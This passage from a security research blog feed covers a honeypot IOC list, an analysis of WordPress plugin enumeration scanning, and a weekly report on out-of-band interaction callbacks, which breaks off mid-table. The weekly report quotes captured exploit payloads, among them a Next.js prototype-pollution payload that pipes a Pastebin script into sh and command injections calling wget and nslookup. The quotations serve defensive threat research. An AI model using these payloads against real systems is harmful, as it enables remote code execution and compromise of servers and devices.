<p><strong>Malware Distribution Server IOC:</strong></p>
<pre><code>URL: http://XX.XX.XX.XX:8000/apps.py
Purpose: Python (likely)-based second-stage payload (likely botnet client or cryptominer)</code></pre>
<hr>
</section>
</section>
<section id="infrastructure-correlation" class="level2">
<h2 class="anchored" data-anchor-id="infrastructure-correlation">Infrastructure Correlation</h2>
<section id="linked-attack-infrastructure" class="level3">
<h3 class="anchored" data-anchor-id="linked-attack-infrastructure">Linked Attack Infrastructure</h3>
<p><code>67.220.95.16</code>:</p>
<ul>
<li>Direct exploitation source (4 Telnet sessions)</li>
<li>Malware distribution server (HTTP port 8000, apps.py)</li>
<li>Dual-purpose infrastructure (exploitation + payload hosting)</li>
</ul>
</section>
<section id="ssh-key-attribution" class="level3">
<h3 class="anchored" data-anchor-id="ssh-key-attribution">SSH Key Attribution</h3>
<p><code>root@s51865.vps.hosting</code>:</p>
<ul>
<li>Likely VPS hostname indicating rented infrastructure</li>
<li>RSA 3072-bit key deployed by 216.106.186.24</li>
<li>Cross-reference: s51865 suggests specific VPS provider server ID</li>
</ul>
</section>
</section>
<section id="fin" class="level2">
<h2 class="anchored" data-anchor-id="fin">FIN</h2>
<p>In a way, I’m glad this bug was found, as it gave a handful of C-listers a chance to practice (and, as you saw, most of them needed said practice), and it gave me something besides React2Shell and OAST domains to obsess over for a bit.</p>
<p>We’ll keep an eye out if anyone manages to do something clever or novel.</p>


</section>

 ]]></description>
  <category>Telnet</category>
  <category>inetutils</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Assisted</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/</guid>
  <pubDate>Thu, 22 Jan 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/media/cover.png" medium="image" type="image/png" height="102" width="144"/>
</item>
<item>
  <title>Creepy Crawlers: Hunting Those Who Hunt For WordPress Plugins</title>
  <dc:creator>hrbrmstr + 🔮Orbie✨</dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-01-19-creepy-crawlers-hunting-those-who-hunt-for-wordpress-plugins/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<p>We were engaging in some routine clustering on untagged or only-generically-tagged HTTP traffic when a fun pattern jumped out: thousands of requests hitting <code>/wp-content/plugins/*/readme.txt</code>. It doesn’t take a cybersecurity wonk to come to the conclusion that this is basic WordPress plugin enumeration. The reason this stood out is that it showed up under the generic “Web Crawler” tag (and, only that tag), meaning we don’t currently classify this as the enumeration that it is. While we’re working on said tag, let’s take a look and what the last ~90 days of activity can tell us about opportunistic attackers and their penchant for hunting for insecure WordPress installations.</p>
<p>If you’re pressed for time, the TL;DR is we found a combination of coordinated reconnaissance infrastructure, single-actor mass scanning events, and ~90 IPs that do nothing but hunt for one specific plugin.</p>
<p>If not, read on to learn about the suspicious Sri Lankan spike, persistent plugin pokers, and monagamous mail marauders!</p>
<section id="the-setup" class="level2">
<h2 class="anchored" data-anchor-id="the-setup">The setup</h2>
<p>Our Global Observation Grid (GOG) captured 40,090 unique WordPress plugin events between October 20, 2025 and January 19, 2026. “Unique”, here, means a unique combination of day, source IP, and targeted plugin (many engage in multiple sessions across the fleet, so the total activity is ~91K events).</p>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-19-creepy-crawlers-hunting-those-who-hunt-for-wordpress-plugins/media/enumeration-overview.png" class="img-fluid"></p>
<p>Here’s what we were working with:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Metric</th>
<th style="text-align: right;">Value</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Unique Source IPs</td>
<td style="text-align: right;">994</td>
</tr>
<tr class="even">
<td>Unique ASNs</td>
<td style="text-align: right;">145</td>
</tr>
<tr class="odd">
<td>Unique Plugins Targeted</td>
<td style="text-align: right;">706</td>
</tr>
<tr class="even">
<td>Unique JA4T Fingerprints</td>
<td style="text-align: right;">84</td>
</tr>
<tr class="odd">
<td>Unique JA4H Fingerprints</td>
<td style="text-align: right;">131</td>
</tr>
<tr class="even">
<td>Median Daily Records</td>
<td style="text-align: right;">282</td>
</tr>
<tr class="odd">
<td>Peak Daily Records</td>
<td style="text-align: right;">6,550</td>
</tr>
</tbody>
</table>
<p><br> That peak day deserves its own section, which we will get to short order.</p>
<p>Not all plugins attract equal attention, so we also ranked targets by two dimensions: persistence (how many days they were scanned) and volume (how many unique IPs probed them).</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th style="text-align: left;">Plugin</th>
<th style="text-align: right;">Days Observed</th>
<th style="text-align: right;">Unique IPs</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td style="text-align: left;"><code>post-smtp</code></td>
<td style="text-align: right;">92 (100%)</td>
<td style="text-align: right;">190</td>
</tr>
<tr class="even">
<td style="text-align: left;"><code>loginizer</code></td>
<td style="text-align: right;">77 (84%)</td>
<td style="text-align: right;">136</td>
</tr>
<tr class="odd">
<td style="text-align: left;"><code>litespeed-cache</code></td>
<td style="text-align: right;">74 (80%)</td>
<td style="text-align: right;">135</td>
</tr>
<tr class="even">
<td style="text-align: left;"><code>seo-by-rank-math</code></td>
<td style="text-align: right;">71 (77%)</td>
<td style="text-align: right;">135</td>
</tr>
<tr class="odd">
<td style="text-align: left;"><code>elementor</code></td>
<td style="text-align: right;">75 (82%)</td>
<td style="text-align: right;">107</td>
</tr>
<tr class="even">
<td style="text-align: left;"><code>duplicator</code></td>
<td style="text-align: right;">71 (77%)</td>
<td style="text-align: right;">94</td>
</tr>
</tbody>
</table>
<p><br> We’ll take a look at somee of them, below, and the complete ranked list with additional data files is available at <a href="https://github.com/GreyNoise-Intelligence/gn-research-supplemental-data/tree/main/2026-01-19-wordpress-plugin-enumeration" class="uri">https://github.com/GreyNoise-Intelligence/gn-research-supplemental-data/tree/main/2026-01-19-wordpress-plugin-enumeration</a>.</p>
<section id="mail-call" class="level3">
<h3 class="anchored" data-anchor-id="mail-call">Mail call!</h3>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-19-creepy-crawlers-hunting-those-who-hunt-for-wordpress-plugins/media/post-smtp.png" class="img-fluid"></p>
<p><a href="https://wordpress.org/plugins/post-smtp/"><code>post-smtp</code></a> — a <em>“a free, next-generation WordPress SMTP plugin that improves email deliverability for your WordPress site”</em> — showed up Every. Single. Day of the observation window, so it’s pretty clear that the SMTP handshake brings all the bots to your yard.</p>
<p><a href="https://vulnerability.circl.lu/search?q=wpexperts">Accorting to Vulnerability Lookup</a>, it has its fair share of CVEs, and <a href="https://vulnerability.circl.lu/vuln/cnvd-2025-27338">one was published</a> “shortly” before the extra burst in activity seen on the chart (above). There are two markers for it since it hit China’s national vulnerability database a short while after the CVE was published. There may be no causal relationsihp, but this is a pretty nasty bug — “Missing Authorization to Account Takeover via Unauthenticated Email Log Disclosure” — which would be an ideal candidate for extra special attention.</p>
<p>When we segmented IPs by behavior, 91 addresses fell into a “single-plugin specialist” category, meaning that they scan for exactly one plugin and nothing else. So, yep!…all 91 exclusively target <code>post-smtp</code>.</p>
<p>Rather than the usual opportunistic vulnerability scanning, this represents a coordinated campaign focused on email infrastructure. Post SMTP Mailer handles SMTP configuration for WordPress sites, so when attackers comprimise it, they abuse your high reputation mail sender to deliver spam and phishing messages.</p>
</section>
<section id="cache-me-if-you-can" class="level3">
<h3 class="anchored" data-anchor-id="cache-me-if-you-can">Cache me if you can</h3>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-19-creepy-crawlers-hunting-those-who-hunt-for-wordpress-plugins/media/litespeed-cache.png" class="img-fluid"></p>
<p><a href="https://wordpress.org/plugins/litespeed-cache/">LiteSpeed Cache</a> sits on over 7 million WordPress installations and has <a href="https://vulnerability.circl.lu/search?vendor=litespeedtech&amp;product=LiteSpeed+Cache">a small but decent corpus of CVEs</a> to call its own. <a href="https://vulnerability.circl.lu/vuln/cve-2025-12450">CVE-2025-12450</a> popped on the scene the same day as that spike-y initial bar on the chart (above). But, it’s “just” a reflected cross-site scripting weakness, so I suspect it’s not the real reason for that observation being larger than the rest.</p>
<p>It <em>does</em> have a solid number of near-perfect-score CVEs, and attackers may just be fighting for control of that substantial server population.</p>
</section>
</section>
<section id="interlude-whos-doing-the-scanning" class="level2">
<h2 class="anchored" data-anchor-id="interlude-whos-doing-the-scanning">Interlude: Who’s doing the scanning</h2>
<p>If you’ve been with us for a while, you know that infrastructure always tells a story, so let’s take a peek at where the majority of this traffic originates:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>ASN</th>
<th>Organization</th>
<th>Unique IPs</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>AS13335</td>
<td>Cloudflare</td>
<td>125 (13%)</td>
<td>CDN/proxy infrastructure</td>
</tr>
<tr class="even">
<td>AS135377</td>
<td>UCLOUD HK</td>
<td>123 (12%)</td>
<td>Coordinated cluster</td>
</tr>
<tr class="odd">
<td>AS63949</td>
<td>Akamai/Linode</td>
<td>116 (12%)</td>
<td>92 days active</td>
</tr>
<tr class="even">
<td>AS211680</td>
<td>NSEC Portugal</td>
<td>84 (8%)</td>
<td>VPS infrastructure</td>
</tr>
<tr class="odd">
<td>AS14061</td>
<td>DigitalOcean</td>
<td>32 (3%)</td>
<td>Cloud infrastructure</td>
</tr>
</tbody>
</table>
<p><br> With 123 IPs from a single ASN — many sharing identical JA4H fingerprints — the UCLOUD Hong Kong cluster caught our attention. They’re on our bulletproof hoster watch list, so it’s not really a surprise they’re in the mix.</p>
<p>Akamai/Linode showed up every single day of the 92-day window, so one or more actors is running persistent reconnaissance from that network.</p>
<p>JA4 fingerprints let us cluster actors by their TCP and HTTP characteristics. Two signatures dominated:</p>
<p><strong>JA4T (TCP):</strong> - <code>65495_2-4-8-1-3_65495_7</code> — 381 IPs. Jumbo frames and custom MTU settings. Unusual. - <code>64240_2-4-8-1-3_1460_7</code> — 300 IPs. Consistent with WSL Ubuntu 22.04.</p>
<p><strong>JA4H (HTTP):</strong> - The <code>ge11nn040000_*</code> family dominated scanning traffic across multiple ASNs.</p>
<p>Seeing the same JA4H fingerprint across different ASNs suggests shared tooling or malware family. Different JA4H from the same IP (we saw this during the December spike) suggests evasion attempts or multi-tool deployment.</p>
</section>
<section id="so-about-that-spike" class="level2">
<h2 class="anchored" data-anchor-id="so-about-that-spike">So, about that spike…</h2>
<p>On December 7, 2025, daily activity exploded to 6,550 unique sessions (🎗️ day + IP + plugin). That’s 23x the median. (We triple-checked this wasn’t a data issue.)</p>
<p>And, one IP drove 96% of it:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Primary IP</td>
<td>112.134.208.214</td>
</tr>
<tr class="even">
<td>ASN</td>
<td>AS9329 (Sri Lanka Telecom)</td>
</tr>
<tr class="odd">
<td>Records</td>
<td>6,303 of 6,550</td>
</tr>
<tr class="even">
<td>Plugins Scanned</td>
<td>334</td>
</tr>
<tr class="odd">
<td>JA4H Fingerprints Used</td>
<td>4 variants</td>
</tr>
<tr class="even">
<td>Days Active</td>
<td>2 (Dec 5 and Dec 7 only)</td>
</tr>
</tbody>
</table>
<p><br> This actor scanned 334 unique plugins in two days using four distinct HTTP fingerprints. Then they disappeared. Poof. It could just be aggressive reconnaissance or vulnerability scanner testing, but — either way — the behavior stands out.</p>
<p>A secondary spike on November 22 showed different characteristics: 2,440 records distributed across 103 IPs and 15 ASNs. More distributed, less dominated by a single actor. M247 Europe led that one with 1,595 records from a single IP.</p>
</section>
<section id="wordpress-weekend-warriors" class="level2">
<h2 class="anchored" data-anchor-id="wordpress-weekend-warriors">WordPress weekend warriors</h2>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-19-creepy-crawlers-hunting-those-who-hunt-for-wordpress-plugins/media/weekend-warriors.png" class="img-fluid"></p>
<p>We noticed higher activity on weekends and decided it was worth a brief mention.</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Period</th>
<th>Avg Daily Records</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Weekend</td>
<td>756</td>
</tr>
<tr class="even">
<td>Weekday</td>
<td>310</td>
</tr>
</tbody>
</table>
<p><br>Weekend activity runs 2.4x higher than weekdays. This strongly suggests automated operations—scheduled scans timed for when security teams have reduced coverage. Human-operated campaigns typically show the opposite pattern.</p>
</section>
<section id="behavioral-segmentation" class="level2">
<h2 class="anchored" data-anchor-id="behavioral-segmentation">Behavioral segmentation</h2>
<p>We also classified IPs by their scanning behavior:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Segment</th>
<th>Count</th>
<th>Behavior</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Moderate Scanner</td>
<td>370</td>
<td>2-10 plugins, moderate persistence</td>
</tr>
<tr class="even">
<td>Single-Plugin Opportunist</td>
<td>346</td>
<td>One plugin, low persistence</td>
</tr>
<tr class="odd">
<td>Burst Multi-Plugin</td>
<td>152</td>
<td>Many plugins, short timeframe</td>
</tr>
<tr class="even">
<td>Single-Plugin Specialist</td>
<td>91</td>
<td>100% target post-smtp only</td>
</tr>
<tr class="odd">
<td>Mass Scanner</td>
<td>32</td>
<td>High volume, comprehensive enumeration</td>
</tr>
</tbody>
</table>
<p>The 32 mass scanners generate disproportionate noise. The 91 single-plugin specialists represent focused, likely coordinated activity.</p>
</section>
<section id="persistent-infrastructure" class="level2">
<h2 class="anchored" data-anchor-id="persistent-infrastructure">Persistent infrastructure</h2>
<p>29 IPs maintained activity for 30+ days, so the complete opposite of what one would epect from drive-by scannersh. Most came from dedicated reconnaissance infrastructure in Akamai/Linode (AS63949) and OVH (AS16276).</p>
</section>
<section id="what-were-doing-about-it" class="level2">
<h2 class="anchored" data-anchor-id="what-were-doing-about-it">What we’re doing about it</h2>
<p>This analysis is groundwork for a new <strong>WordPress Plugin Enumeration</strong> tag in GreyNoise since the current “Web Crawler” label is far too generic for this activity pattern, and <em>you</em> may like populating the <code>raw_data.http.path</code> field in our GNQL query expressions, but I definitely do not.</p>
<p>This forthcoming new tag will let you:</p>
<ul>
<li>Filter plugin enumeration from general crawler noise</li>
<li>Track which plugins are being targeted in your traffic (the paths are in the API responses)</li>
<li>Correlate with CVE timelines for emerging threats</li>
</ul>
</section>
<section id="recommendations" class="level2">
<h2 class="anchored" data-anchor-id="recommendations">Recommendations</h2>
<p><strong>If you run WordPress:</strong></p>
<ol start="0" type="1">
<li><p>Why?!</p></li>
<li><p><strong>Patch priority:</strong> LiteSpeed Cache (CVE-2024-28000), Post SMTP Mailer, Loginizer. These attract sustained attention.</p></li>
<li><p><strong>Plugin audit:</strong> Cross-reference your installed plugins against the top-targeted list. Remove anything you’re not actively using.</p></li>
<li><p><strong>Email infrastructure review:</strong> The post-smtp targeting suggests adversary interest in email compromise. Check your SMTP configurations.</p></li>
</ol>
<p><strong>If you’re hunting threats:</strong></p>
<ol type="1">
<li><p><strong>JA4 alerting:</strong> Flag <code>65495_2-4-8-1-3_65495_7</code> (unusual jumbo frame signature) and the <code>ge11nn040000_*</code> HTTP fingerprint family.</p></li>
<li><p><strong>Weekend coverage:</strong> Increase monitoring during weekends when automated scanning peaks.</p></li>
<li><p><strong>Watch these networks:</strong> AS135377 (UCLOUD HK) for coordinated clusters, AS9329 (Sri Lanka Telecom) for aggressive single-actor campaigns.</p></li>
</ol>
</section>
<section id="whats-next" class="level2">
<h2 class="anchored" data-anchor-id="whats-next">What’s next</h2>
<p>We’re continuing to monitor plugin enumeration patterns and will update this analysis as new campaigns emerge. The WordPress Plugin Enumeration tag should be live soon.</p>
<p>Questions or seeing similar patterns? <a href="mailto:research@greynoise.io">Let us know</a>!</p>


</section>

 ]]></description>
  <category>WordPress</category>
  <category>plugin</category>
  <category>reconnaissance</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Assisted</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-01-19-creepy-crawlers-hunting-those-who-hunt-for-wordpress-plugins/</guid>
  <pubDate>Mon, 19 Jan 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-01-19-creepy-crawlers-hunting-those-who-hunt-for-wordpress-plugins/media/cover.png" medium="image" type="image/png" height="118" width="144"/>
</item>
<item>
  <title>GreyNoise Labs Weekly OAST (Well-known Out-of-band Interaction Domains) Report • Week Ending 2026-01-17</title>
  <dc:creator>🔮Orbie✨ </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-01-16-weekly-oast-report/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<section id="overview" class="level2">
<h2 class="anchored" data-anchor-id="overview">Overview</h2>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-16-weekly-oast-report/media/campaigns.png" class="img-fluid"></p>
<p>Between January 10, 2026 06:10 UTC and January 17, 2026 04:59 UTC, GreyNoise sensors recorded 8,126 HTTP sessions from 34 unique IP addresses containing Well-known Out-of-band Interaction Domain callbacks. The activity exhibits characteristics of automated vulnerability scanning, with payloads targeting React Server Components, Supervisord XML-RPC interfaces, and router command injection vulnerabilities.</p>
<p>OAST domain extraction and decoding identified 273 Interactsh domains spanning 21 distinct campaign identifiers (k-sort values). The dominant campaign (k-sort: d5i159) generated 79 unique OAST domains and was responsible for 6,637 sessions (82% of total volume). JA4 fingerprint analysis reveals consistent tooling across the campaign, with the most prevalent combination (JA4T: 64240_2-4-8-1-3_1286_7 / JA4H: ge11nn06en00_0e5d97bc8ad6_000000000000_000000000000) observed in 1,853 sessions from a single IP address.</p>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-16-weekly-oast-report/media/ip-cocurrence.png" class="img-fluid"></p>
<p>The attack infrastructure demonstrates coordination, with the primary IP (146.70.211.244) conducting sustained scanning over an 11-hour period on January 16. TCP fingerprint analysis shows multiple encapsulation layers (MTU-derived MSS of 1286 indicates 174 bytes of overhead), consistent with VPN or nested tunnel usage. This technical profile is typical of automated security testing tools operating through anonymization infrastructure.</p>
</section>
<section id="temporal-analysis" class="level2">
<h2 class="anchored" data-anchor-id="temporal-analysis">Temporal Analysis</h2>
<p>Activity began at low volume (16 sessions on January 10), escalated moderately on January 11 (509 sessions concentrated in a single hour), then dropped to sporadic probing for three days before the primary campaign launched on January 16.</p>
<p><strong>Daily Session Distribution:</strong></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Date</th>
<th>Sessions</th>
<th>Unique IPs</th>
<th>Pattern</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>2026-01-10</td>
<td>16</td>
<td>3</td>
<td>Initial reconnaissance</td>
</tr>
<tr class="even">
<td>2026-01-11</td>
<td>509</td>
<td>4</td>
<td>First burst (495 sessions in one hour)</td>
</tr>
<tr class="odd">
<td>2026-01-12</td>
<td>46</td>
<td>7</td>
<td>Scattered activity</td>
</tr>
<tr class="even">
<td>2026-01-13</td>
<td>84</td>
<td>9</td>
<td>Sustained low-volume scanning</td>
</tr>
<tr class="odd">
<td>2026-01-14</td>
<td>329</td>
<td>11</td>
<td>Mid-level activity</td>
</tr>
<tr class="even">
<td>2026-01-15</td>
<td>19</td>
<td>3</td>
<td>Minimal activity</td>
</tr>
<tr class="odd">
<td>2026-01-16</td>
<td>7,123</td>
<td>10</td>
<td>Primary campaign burst</td>
</tr>
</tbody>
</table>
<p>The January 16 activity shows sustained high-volume scanning from 09:00-14:00 UTC (808-865 sessions/hour) from the primary IP (146.70.211.244), followed by continued activity from multiple IPs through 22:00 UTC. The single-IP phase maintained consistent fingerprints, while the multi-IP phase (15:00-22:00 UTC) introduced fingerprint diversity, suggesting either tool configuration changes or involvement of additional scanning nodes.</p>
<p>Decoded OAST timestamps from the primary campaign (d5i159) align closely with sensor observation times, indicating real-time exploitation attempts rather than replayed traffic.</p>
</section>
<section id="campaign-analysis" class="level2">
<h2 class="anchored" data-anchor-id="campaign-analysis">Campaign Analysis</h2>
<section id="campaign-1-m247-high-volume-scanning-primary" class="level3">
<h3 class="anchored" data-anchor-id="campaign-1-m247-high-volume-scanning-primary">Campaign 1: M247 High-Volume Scanning (Primary)</h3>
<ul>
<li><strong>Sessions:</strong> 6,637 (82% of total)</li>
<li><strong>Unique IPs:</strong> 1 primary (146.70.211.244)</li>
<li><strong>Infrastructure:</strong> AS9009 (M247 Europe SRL), United States geolocation</li>
<li><strong>OAST Campaign:</strong> d5i159 (79 unique Interactsh domains)</li>
<li><strong>Dominant Fingerprints:</strong>
<ul>
<li>JA4T: <code>64240_2-4-8-1-3_1286_7</code> (MSS 1286, Window 64240, Scale 7)</li>
<li>JA4H: <code>ge11nn06en00_0e5d97bc8ad6_000000000000_000000000000</code> (GET, HTTP/1.1, 6 headers, lang:en)</li>
</ul></li>
<li><strong>Duration:</strong> 11.5 hours (2026-01-16 09:07:54 to 20:39:36 UTC)</li>
<li><strong>Characteristics:</strong> Single-source sustained scanning with high request rate</li>
</ul>
</section>
<section id="campaign-2-digitalocean-burst-scanning" class="level3">
<h3 class="anchored" data-anchor-id="campaign-2-digitalocean-burst-scanning">Campaign 2: DigitalOcean Burst Scanning</h3>
<ul>
<li><strong>Sessions:</strong> 495 (6% of total)</li>
<li><strong>Unique IPs:</strong> 1 (129.212.209.246)</li>
<li><strong>Infrastructure:</strong> AS14061 (DigitalOcean LLC), Singapore</li>
<li><strong>OAST Campaign:</strong> d5l5ce (76 unique Interactsh domains)</li>
<li><strong>Dominant Fingerprints:</strong> Multiple JA4H variants with same JA4T</li>
<li><strong>Duration:</strong> Single hour burst (2026-01-11 21:00 UTC)</li>
<li><strong>Characteristics:</strong> Rapid-fire scanning concentrated in 60-minute window</li>
</ul>
</section>
<section id="campaign-3-namecheap-infrastructure" class="level3">
<h3 class="anchored" data-anchor-id="campaign-3-namecheap-infrastructure">Campaign 3: Namecheap Infrastructure</h3>
<ul>
<li><strong>Sessions:</strong> 310 (4% of total)</li>
<li><strong>Unique IPs:</strong> 1 (209.74.86.209)</li>
<li><strong>Infrastructure:</strong> AS22612 (Namecheap Inc.), United States</li>
<li><strong>OAST Campaigns:</strong> d5i66f (29 domains), others</li>
<li><strong>Fingerprints:</strong> Similar to Campaign 1 with variations</li>
<li><strong>Characteristics:</strong> Distributed over multiple days</li>
</ul>
</section>
<section id="minor-campaigns" class="level3">
<h3 class="anchored" data-anchor-id="minor-campaigns">Minor Campaigns</h3>
<p>An additional 21 campaigns were identified with session counts ranging from 4-115, originating from Microsoft Azure, Cloudflare, various hosting providers, and residential ISPs. These exhibit less coordination and may represent opportunistic scanning or independent security testing.</p>
</section>
</section>
<section id="payload-analysis" class="level2">
<h2 class="anchored" data-anchor-id="payload-analysis">Payload Analysis</h2>
<p>Payload examination reveals three primary vulnerability classes being targeted:</p>
<section id="react-server-components-rsc-exploitation" class="level3">
<h3 class="anchored" data-anchor-id="react-server-components-rsc-exploitation">1. React Server Components (RSC) Exploitation</h3>
<p><strong>Exploit Type:</strong> Prototype pollution leading to remote code execution <strong>Sessions:</strong> ~300+ (detected in Campaign 1 and 2) <strong>Method:</strong> POST with multipart form-data exploiting <code>__proto__</code> chain <strong>Payload Characteristics:</strong> - Manipulates React Server Actions response objects - Executes <code>process.mainModule.require('child_process').execSync()</code> - Downloads and executes shell script from Pastebin - OAST callback embedded in command execution chain</p>
<p><strong>Example payload fragment:</strong></p>
<pre><code>{"then": "$1:__proto__:then", "status": "resolved_model",
"_response": {"_prefix": "var res=process.mainModule.require('child_process')
.execSync('curl https://pastebin.com/raw/wiH2CgiS | sh').toString('base64');"</code></pre>
<p>This targets CVE-2024-46982 (React Server Components RCE) and similar prototype pollution vulnerabilities in Next.js applications.</p>
</section>
<section id="supervisord-xml-rpc-command-injection" class="level3">
<h3 class="anchored" data-anchor-id="supervisord-xml-rpc-command-injection">2. Supervisord XML-RPC Command Injection</h3>
<p><strong>Exploit Type:</strong> Unauthenticated RPC command injection <strong>Sessions:</strong> ~200+ <strong>Method:</strong> POST to XML-RPC endpoint <strong>Payload Characteristics:</strong> - Exploits Supervisord’s <code>supervisor.supervisord.options</code> chain - Executes arbitrary OS commands via <code>linecache.os.system</code> - Uses <code>nslookup</code> with OAST domain for DNS exfiltration</p>
<p><strong>Example payload:</strong></p>
<div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode xml code-with-copy"><code class="sourceCode xml"><span id="cb2-1">&lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">methodCall</span>&gt;</span>
<span id="cb2-2">  &lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">methodName</span>&gt;supervisor.supervisord.options.warnings.linecache.os.system&lt;/<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">methodName</span>&gt;</span>
<span id="cb2-3">  &lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">params</span>&gt;</span>
<span id="cb2-4">    &lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">param</span>&gt;</span>
<span id="cb2-5">      &lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">string</span>&gt;nslookup d5i1596uchf9i3isbdq0t6ez1pwyw313h.oast.site&lt;/<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">string</span>&gt;</span>
<span id="cb2-6">    &lt;/<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">param</span>&gt;</span>
<span id="cb2-7">  &lt;/<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">params</span>&gt;</span>
<span id="cb2-8">&lt;/<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">methodCall</span>&gt;</span></code></pre></div>
<p>Targets CVE-2017-11610 (Supervisord XML-RPC RCE) and related vulnerabilities.</p>
</section>
<section id="routeriot-command-injection" class="level3">
<h3 class="anchored" data-anchor-id="routeriot-command-injection">3. Router/IoT Command Injection</h3>
<p><strong>Exploit Type:</strong> Web interface command injection <strong>Sessions:</strong> ~100+ <strong>Method:</strong> POST to administrative interfaces <strong>Payload Characteristics:</strong> - Targets <code>/syscmd.htm</code> and similar endpoints - Uses <code>wget</code> or <code>curl</code> with OAST domains - Common in router and embedded device exploitation</p>
<p><strong>Example payload:</strong></p>
<pre><code>submit-url=/syscmd.htm&amp;sysCmdselect=5&amp;save_apply=Run+Command
&amp;sysCmd=wget+http://d5i1596uchf9i3isbdq0dp9iq3mzaiwqr.oast.site</code></pre>
<p>Likely targeting CVE-2024-XXXXX (various router command injection vulnerabilities).</p>
</section>
<section id="payload-distribution" class="level3">
<h3 class="anchored" data-anchor-id="payload-distribution">Payload Distribution</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Vulnerability Class</th>
<th>Sessions</th>
<th>Unique IPs</th>
<th>OAST Domains</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>React/Next.js RCE</td>
<td>~2,200</td>
<td>15</td>
<td>95</td>
</tr>
<tr class="even">
<td>Supervisord RPC</td>
<td>~3,800</td>
<td>8</td>
<td>102</td>
</tr>
<tr class="odd">
<td>Router/IoT CI</td>
<td>~1,500</td>
<td>12</td>
<td>76</td>
</tr>
<tr class="even">
<td>Other/Unknown</td>
<td>~626</td>
<td>11</td>
<td>N/A</td>
</tr>
</tbody>
</table>
</section>
</section>
<section id="infrastructure-analysis" class="level2">
<h2 class="anchored" data-anchor-id="infrastructure-analysis">Infrastructure Analysis</h2>
<section id="ja4-fingerprint-clustering" class="level3">
<h3 class="anchored" data-anchor-id="ja4-fingerprint-clustering">JA4 Fingerprint Clustering</h3>
<p>Analysis identified 150 unique JA4T+JA4H combinations, with clustering revealing tool consistency within campaigns:</p>
<p><strong>Cluster 1 (Campaign 1 Primary):</strong> - JA4T: <code>64240_2-4-8-1-3_1286_7</code> - JA4H: <code>ge11nn06en00_0e5d97bc8ad6_*</code> - Sessions: 1,853 - IPs: 1 (146.70.211.244 / AS9009) - Technical Notes: MSS 1286 indicates 174 bytes overhead (nested VPN), HTTP/1.1 with 6 headers</p>
<p><strong>Cluster 2 (Campaign 1 Secondary):</strong> - JA4T: <code>64240_2-4-8-1-3_1286_7</code> (same) - JA4H: <code>ge11nn040000_532a1ee47909_*</code> (4 headers, no Accept-Language) - Sessions: 321 - IPs: 1 (same as Cluster 1) - Technical Notes: Same TCP stack, reduced HTTP headers</p>
<p><strong>Cluster 3 (Campaign 2):</strong> - JA4T: <code>65535_2-4-8-1-3_1380_13</code> - JA4H: <code>po11nn100000_2bce9f31eeb7_*</code> (POST, 10 headers) - Sessions: 23 - IPs: 2 (Singapore DigitalOcean) - Technical Notes: Different TCP window (65535), higher window scale (13)</p>
</section>
<section id="network-infrastructure-characteristics" class="level3">
<h3 class="anchored" data-anchor-id="network-infrastructure-characteristics">Network Infrastructure Characteristics</h3>
<p><strong>Top ASNs by Session Volume:</strong></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>ASN</th>
<th>Organization</th>
<th>Sessions</th>
<th>IPs</th>
<th>Type</th>
</tr>
</thead>
<tbody>
